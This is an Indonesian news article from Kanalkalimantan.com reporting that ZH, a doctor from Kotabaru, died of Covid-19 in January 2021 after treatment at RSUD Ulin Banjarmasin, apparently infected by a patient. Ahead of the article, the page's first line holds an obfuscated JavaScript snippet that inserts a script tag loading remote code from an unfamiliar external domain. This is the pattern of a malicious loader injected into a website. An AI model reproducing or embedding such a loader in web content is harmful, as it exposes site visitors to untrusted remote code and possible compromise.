(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Categories: Kotabaru

Dokter Asal Kotabaru Meninggal Akibat Covid-19, Diduga Tertular Pasien

KANALKALIMANTAN.COM, KOTABARU– Kalsel kembali kehilangan seorang dokter yang berjuang di garis depan melawan Covid-19. Adalaj ZH, seorang dokter asal Kotabaru meninggal dunia setelah berjuang melawan Covid-19.

ZH sebelumnya sempat dirawat di ruang isolasi Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin, selama enam hari. Kabar meninggalnya ZH dibenarkan oleh Plt Kepala Dinas Kesehatan Kotabaru, Ernawati. “Iya, beliau meninggalnya di ruang ICU Covid-19 RSUD Ulin,” ujarnya, Sabtu (2/1/2021).

Menurt Ernawati, ZH sehari-harinya bertugas di RSUD Pangeran Jaya Sumitra Kotabaru. Diduga ia terinfeksi Covid-19 dari pasien yang ditanganinya. Jenazah ZH tak dibawa ke Kotabaru dan akan dimakamkan sesuai prosedur Covid-19 di Banjarmasin. “Almarhum akan dimakamkan di Banjarmasin, pemakaman keluarga, barusan dapat info itu,” jelasnya.

Saat dirawat, kondisi ZH memang terus menunjukkan penurunan. ZH kemudian dirujuk ke Banjarmasin untuk mendapatkan perawatan lebih maksimal. Namun, setelah berjuang selama 6 hari, ZH akhirnya meninggal dunia. (Kanalkalimantan.com/ril)

Reporter : Ril
Editor : Cell